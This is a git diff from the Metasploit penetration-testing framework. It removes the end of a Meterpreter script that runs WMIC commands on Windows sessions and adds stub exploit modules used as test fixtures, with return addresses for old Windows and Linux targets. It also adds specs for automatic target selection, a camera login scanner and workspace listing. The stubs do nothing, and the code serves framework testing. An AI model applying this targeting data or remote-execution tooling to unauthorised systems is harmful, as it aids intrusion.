to a file -def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") - data2wrt.each_line do |d| - output.puts(d) - end - output.close -end - -#check for proper Meterpreter Platform -def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end - - -def usage - print_line("Windows WMIC Command Execution Meterpreter Script ") - print_line @@exec_opts.usage - print_line("USAGE:") - print_line("run wmic -c \"WMIC Command Argument\"\n") - print_line("NOTE:") - print_line("Not all arguments for WMIC can be used, the /append: option is used by the script") - print_line("for output retrieval. Arguments must be encased in double quotes and special characters escaped\n") - print_line("Example:") - print_line("run wmic -c \"useraccount where (name = \\\'Administrator\\\') get name, sid\"\n") - raise Rex::Script::Completed -end - -################## Main ################## -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-c" - - commands.concat(val.split("/")) - - when "-s" - - script = val - if not ::File.exist?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - next if line.strip.length < 1 - next if line[0,1] == "#" - commands << line.chomp - end - end - when "-f" - - outfile = val - when "-h" - usage - else - print_error "Unknown option: #{opt}" - usage - end - -} - -if args.length == 0 - usage -end -unsupported if client.platform !~ /win32|win64/i - -if outfile == nil - print_status wmicexec(session,commands) -else - print_status("Saving output of WMIC to #{outfile}") - filewrt(outfile, wmicexec(session,commands)) -end diff --git a/spec/file_fixtures/modules/exploits/auto_target_linux.rb b/spec/file_fixtures/modules/exploits/auto_target_linux.rb new file mode 100644 index 0000000000..8d3c4efed6 --- /dev/null +++ b/spec/file_fixtures/modules/exploits/auto_target_linux.rb @@ -0,0 +1,144 @@ +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Exploit::Remote::Tcp + Rank = ManualRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exploit Auto-Targeting for Linux', + 'Description' => %q{ This module is a test bed for automatic targeting for Linux exploits. }, + 'Author' => [ 'thelightcosine' ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => + { + 'WfsDelay' => 10, + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Space' => 3072, + 'DisableNops' => true + }, + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + ['Linux Heap Brute Force (Debian/Ubuntu)', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86 ], + 'Nops' => 64*1024, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0x08352000 }, + 'Stop' => { 'Ret' => 0x0843d000 }, + 'Step' => 60*1024, + + } + } + ], + + ['Linux Heap Brute Force (Gentoo)', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86 ], + 'Nops' => 64*1024, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0x80310000 }, + 'Stop' => { 'Ret' => 0x8042f000 }, + 'Step' => 60*1024, + + } + } + ], + + + + ['Linux Heap Brute Force (Mandriva)', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86 ], + 'Nops' => 64*1024, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0x80380000 }, + 'Stop' => { 'Ret' => 0x8045b000 }, + 'Step' => 60*1024, + + } + } + ], + + ['Linux Heap Brute Force (RHEL/CentOS)', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86 ], + 'Nops' => 64*1024, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0xb800f000 }, + 'Stop' => { 'Ret' => 0xb80c9000 }, + 'Step' => 60*1024, + + } + } + ], + + ['Linux Heap Brute Force (SUSE)', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86 ], + 'Nops' => 64*1024, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0x80365000 }, + 'Stop' => { 'Ret' => 0x80424000 }, + 'Step' => 60*1024, + + } + } + ], + + ['Linux Heap Brute Force (Slackware)', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86 ], + 'Nops' => 64*1024, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0x8033c000 }, + 'Stop' => { 'Ret' => 0x80412000 }, + 'Step' => 60*1024, + + } + } + ], + + ['Linux Heap Brute Force (OpenWRT MIPS)', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_MIPSBE ], + 'Nops' => 64*1024, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0x55900000 }, + 'Stop' => { 'Ret' => 0x559c0000 }, + 'Step' => 60*1024, + } + } + ] + ], + 'DisclosureDate' => 'Jan 01 1999' + )) + end + + def exploit + print_status("This exploit doesn't actually do anything") + print_status "Target Selected: #{target.name}" + end + + +end \ No newline at end of file diff --git a/spec/file_fixtures/modules/exploits/auto_target_windows.rb b/spec/file_fixtures/modules/exploits/auto_target_windows.rb new file mode 100644 index 0000000000..ee6d7711ea --- /dev/null +++ b/spec/file_fixtures/modules/exploits/auto_target_windows.rb @@ -0,0 +1,75 @@ +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Exploit::Remote::Tcp + Rank = ManualRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exploit Auto-Targeting for Windows', + 'Description' => %q{ This module is a test bed for automatic targeting for Windows exploits. }, + 'Author' => [ 'thelightcosine' ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => + { + 'WfsDelay' => 10, + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Space' => 3072, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + ['Windows 2000 Universal', + { + 'Ret' => 0x001f1cb0, + 'Scratch' => 0x00020408, + } + ], # JMP EDI SVCHOST.EXE + + # + # Standard return-to-ESI without NX bypass + # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET + # + ['Windows XP SP0/SP1 Universal', + { + 'Ret' => 0x01001361, + 'Scratch' => 0x00020408, + } + ], # JMP ESI SVCHOST.EXE + + # Standard return-to-ESI without NX bypass + ['Windows 2003 SP0 Universal', + { + 'Ret' => 0x0100129e, + 'Scratch' => 0x00020408, + } + ], # JMP ESI SVCHOST.EXE + # Metasploit's NX bypass for XP SP2/SP3 + ['Windows XP SP3 English (NX)', + { + 'Ret' => 0x6f88f807, + 'DisableNX' => 0x6f8917c2, + 'Scratch' => 0x00020408 + } + ] + + ], + 'DisclosureDate' => 'Jan 01 1999' + )) + + deregister_options('RPORT') + end + + def exploit + print_status("This exploit doesn't actually do anything") + print_status "Target Selected: #{target.name}" + end + + +end \ No newline at end of file diff --git a/spec/file_fixtures/modules/exploits/existing_auto_target.rb b/spec/file_fixtures/modules/exploits/existing_auto_target.rb new file mode 100644 index 0000000000..53d23c4692 --- /dev/null +++ b/spec/file_fixtures/modules/exploits/existing_auto_target.rb @@ -0,0 +1,75 @@ +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Exploit::Remote::Tcp + + Rank = ManualRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exploit With Existing Automatic Target', + 'Description' => %q{ This module is a test bed for automatic targeting when there is already an auto target. }, + 'Author' => [ 'thelightcosine' ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => + { + 'WfsDelay' => 10, + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Space' => 3072, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }], + ['Windows 2000 Universal', + { + 'Ret' => 0x001f1cb0, + 'Scratch' => 0x00020408, + } + ], # JMP EDI SVCHOST.EXE + + # + # Standard return-to-ESI without NX bypass + # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET + # + ['Windows XP SP0/SP1 Universal', + { + 'Ret' => 0x01001361, + 'Scratch' => 0x00020408, + } + ], # JMP ESI SVCHOST.EXE + + # Standard return-to-ESI without NX bypass + ['Windows 2003 SP0 Universal', + { + 'Ret' => 0x0100129e, + 'Scratch' => 0x00020408, + } + ], # JMP ESI SVCHOST.EXE + # Metasploit's NX bypass for XP SP2/SP3 + ['Windows XP SP3 English (NX)', + { + 'Ret' => 0x6f88f807, + 'DisableNX' => 0x6f8917c2, + 'Scratch' => 0x00020408 + } + ] + + ], + 'DisclosureDate' => 'Jan 01 1999' + )) + end + + def exploit + print_status("This exploit doesn't actually do anything") + + end + + +end \ No newline at end of file diff --git a/spec/file_fixtures/modules/exploits/single_target_exploit.rb b/spec/file_fixtures/modules/exploits/single_target_exploit.rb new file mode 100644 index 0000000000..fd5905a479 --- /dev/null +++ b/spec/file_fixtures/modules/exploits/single_target_exploit.rb @@ -0,0 +1,45 @@ +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Exploit::Remote::Tcp + + Rank = ManualRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exploit With a Single Target', + 'Description' => %q{ This module is a test bed for automatic targeting when there is only one target. }, + 'Author' => [ 'thelightcosine' ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => + { + 'WfsDelay' => 10, + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Space' => 3072, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + ['Windows 2000 Universal', + { + 'Ret' => 0x001f1cb0, + 'Scratch' => 0x00020408, + } + ], # JMP EDI SVCHOST.EXE + ], + 'DisclosureDate' => 'Jan 01 1999' + )) + end + + def exploit + print_status("This exploit doesn't actually do anything") + end + + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/bavision_cameras_spec.rb b/spec/lib/metasploit/framework/login_scanner/bavision_cameras_spec.rb new file mode 100644 index 0000000000..a3dcfc60a0 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/bavision_cameras_spec.rb @@ -0,0 +1,55 @@ +require 'metasploit/framework/login_scanner/bavision_cameras' + +RSpec.describe Metasploit::Framework::LoginScanner::BavisionCameras do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + subject do + described_class.new + end + + describe '#digest_auth' do + let(:username) { 'admin' } + let(:password) { '123456' } + let(:response) { + { + "www-authenticate" => "Digest realm=\"IPCamera Login\", nonce=\"918fee7e0b1126e4c2577911901a181b\", qop=\"auth\"" + } + } + + context 'when a credential is given' do + it 'returns a string with username' do + expect(subject.digest_auth(username, password, response)).to include('username=') + end + + it 'returns a string with realm' do + expect(subject.digest_auth(username, password, response)).to include('realm=') + end + + it 'returns a string with qop' do + expect(subject.digest_auth(username, password, response)).to include('qop=') + end + + it 'returns a string with uri' do + expect(subject.digest_auth(username, password, response)).to include('uri=') + end + + it 'returns a string with nonce' do + expect(subject.digest_auth(username, password, response)).to include('nonce=') + end + + it 'returns a string with nonce count' do + expect(subject.digest_auth(username, password, response)).to include('nc=') + end + + it 'returns a string with cnonce' do + expect(subject.digest_auth(username, password, response)).to include('cnonce=') + end + + it 'returns a string with response' do + expect(subject.digest_auth(username, password, response)).to include('response=') + end + end + end +end diff --git a/spec/lib/msf/core/exploit/auto_target_spec.rb b/spec/lib/msf/core/exploit/auto_target_spec.rb new file mode 100644 index 0000000000..65f680063e --- /dev/null +++ b/spec/lib/msf/core/exploit/auto_target_spec.rb @@ -0,0 +1,185 @@ +require 'spec_helper' + +RSpec.describe Msf::Exploit::AutoTarget do + + include_context 'Msf::DBManager' + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + let(:windows_exploit) { + framework.modules.add_module_path(File.join(FILE_FIXTURES_PATH, 'modules')) + framework.modules.create('exploit/auto_target_windows') + } + + let(:linux_exploit){ + framework.modules.add_module_path(File.join(FILE_FIXTURES_PATH, 'modules')) + framework.modules.create('exploit/auto_target_linux') + } + + let(:auto_exploit){ + framework.modules.add_module_path(File.join(FILE_FIXTURES_PATH, 'modules')) + framework.modules.create('exploit/existing_auto_target') + } + + let(:single_exploit){ + framework.modules.add_module_path(File.join(FILE_FIXTURES_PATH, 'modules')) + framework.modules.create('exploit/single_target_exploit') + } + + context 'adding an Automatic target' do + context 'an exploit without an existing Automatic target' do + + it 'should have an Automatic target added to the top of the list' do + first_target = windows_exploit.targets.first + expect(first_target.name).to eq 'Automatic' + end + end + + context 'an exploit with an existing Automatic target' do + it 'should not add an extra Automatic Target' do + expect(auto_exploit.targets.count).to eq 5 + end + end + + context 'an exploit with only one target' do + it 'should not add an automatic target' do + expect(single_exploit.targets.count).to eq 1 + end + end + end + + describe '#auto_target?' do + it 'should return true if the automatic target is selected' do + host_addr = '192.168.1.5' + host_obj = FactoryGirl.create(:mdm_host, address: host_addr ) + windows_exploit.datastore['TARGET'] = 0 + windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name + windows_exploit.datastore['RHOST'] = host_addr + expect(windows_exploit.auto_target?).to be true + end + + it 'should return false if the automatic target is not selected' do + windows_exploit.datastore['TARGET'] = 1 + expect(windows_exploit.auto_target?).to be false + end + + it 'should return false if the automatic target was added by the module authour' do + auto_exploit.datastore['TARGET'] = 0 + expect(auto_exploit.auto_target?).to be false + end + end + + context 'finding the target host' do + it 'should return a matching Mdm::host if there is one' do + host_addr = '192.168.1.5' + host_obj = FactoryGirl.create(:mdm_host, address: host_addr ) + windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name + windows_exploit.datastore['RHOST'] = host_addr + expect(windows_exploit.auto_target_host).to eq host_obj + end + + it 'should return nil if there is not one' do + windows_exploit.datastore['RHOST'] = '192.168.111.115' + expect(windows_exploit.auto_target_host).to be_nil + end + end + + context 'filtering targets' do + let(:windows_xp_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP' ) } + let(:windows_xp_sp1_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP1' ) } + let(:windows_xp_sp2_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP2' ) } + let(:windows_xp_sp3_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP3' ) } + let(:windows_7_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows 7' ) } + let(:unknown_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: nil ) } + let(:potential_targets) { windows_exploit.filter_by_os_family(windows_xp_host) } + let(:xp_targets) { windows_exploit.filter_by_os_name(potential_targets,windows_xp_host) } + + context 'by OS family' do + it 'should return an array of all matching targets' do + expect(windows_exploit.filter_by_os_family(windows_xp_host).count).to eq 4 + end + + it 'should return an empty array if there are no matches' do + expect(linux_exploit.filter_by_os_family(windows_xp_host).count).to eq 0 + end + + it 'should return nil if the os is unkown on the host' do + expect(windows_exploit.filter_by_os_family(unknown_host).count).to eq 0 + end + end + + context 'by OS Name' do + + + it 'should return an array of matching targets when any exist' do + expect(windows_exploit.filter_by_os_name(potential_targets,windows_xp_host)).to eq [potential_targets[1],potential_targets[3]] + end + + it 'should return an empty array if there are no matches' do + expect(windows_exploit.filter_by_os_name(potential_targets,windows_7_host)).to eq [] + end + + it 'should return an empty array when there is no OS name' do + expect(windows_exploit.filter_by_os_name(potential_targets,unknown_host)).to eq [] + end + end + + context 'by OS Version/Service Pack' do + it 'should return an array of matching results if they exist' do + expect(windows_exploit.filter_by_os_sp(potential_targets,windows_xp_sp1_host)).to eq [xp_targets[0]] + end + + it 'should return an empty array if there are no matching results' do + expect(windows_exploit.filter_by_os_sp(potential_targets,windows_xp_sp2_host)).to eq [] + end + + it 'should return an empty array if there is no SP' do + expect(windows_exploit.filter_by_os_sp(potential_targets,unknown_host)).to eq [] + end + + end + + context '#filter_by_os' do + it 'should return an array of matching targets' do + expect(windows_exploit.filter_by_os(windows_xp_sp1_host)).to eq [xp_targets[0]] + end + + it 'should fall back to previous filter levels if a more strict filter did not return results' do + expect(windows_exploit.filter_by_os(windows_xp_host)).to eq xp_targets + end + end + + context '#select_target' do + it 'should return the matching target on a precise match' do + windows_exploit.datastore['WORKSPACE'] = windows_xp_sp1_host.workspace.name + windows_exploit.datastore['RHOST'] = windows_xp_sp1_host.address + expect(windows_exploit.select_target).to eq xp_targets[0] + end + + it 'should return the first match on a less precise match' do + windows_exploit.datastore['WORKSPACE'] = windows_xp_host.workspace.name + windows_exploit.datastore['RHOST'] = windows_xp_host.address + expect(windows_exploit.select_target).to eq xp_targets[0] + end + end + + context '#auto_targeted_index' do + it 'should return the index of the selected target' do + windows_exploit.datastore['WORKSPACE'] = windows_xp_sp1_host.workspace.name + windows_exploit.datastore['RHOST'] = windows_xp_sp1_host.address + expect(windows_exploit.auto_targeted_index).to eq 2 + end + + it 'should return nil if it does not find a match' do + windows_exploit.datastore['WORKSPACE'] = unknown_host.workspace.name + windows_exploit.datastore['RHOST'] = unknown_host.address + expect(windows_exploit.auto_targeted_index).to eq nil + end + end + + end + + + + + +end \ No newline at end of file diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index f1f9ad153e..4900729224 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -394,7 +394,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do " -n,--name Change the name of a host", " -m,--comment Change the comment of a host", " -t,--tag Add or specify a tag to a range of hosts", - "Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags" + "Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags" ] end end @@ -542,6 +542,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace "-D" @output = [] end + describe "" do it "should list default workspace" do db.cmd_workspace @@ -561,6 +562,35 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do end end + describe "-v" do + it "should list default workspace verbosely" do + db.cmd_workspace("-v") + expect(@output).to match_array [ + "", + "Workspaces", + "==========", + "current name hosts services vulns creds loots notes", + "------- ---- ----- -------- ----- ----- ----- -----", + "* default 0 0 0 0 0 0" + ] + end + + it "should list all workspaces verbosely" do + db.cmd_workspace("-a", "foo") + @output = [] + db.cmd_workspace("-v") + expect(@output).to match_array [ + "", + "Workspaces", + "==========", + "current name hosts services vulns creds loots notes", + "------- ---- ----- -------- ----- ----- ----- -----", + " default 0 0 0 0 0 0", + "* foo 0 0 0 0 0 0" + ] + end + end + describe "-a" do it "should add workspaces" do db.cmd_workspace("-a", "foo", "bar", "baf") @@ -603,6 +633,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do expect(@output).to match_array [ "Usage:", " workspace List workspaces", + " workspace -v List workspaces verbosely", " workspace [name] Switch workspace", " workspace -a [name] ... Add workspace(s)", " workspace -d [name] ... Delete workspace(s)",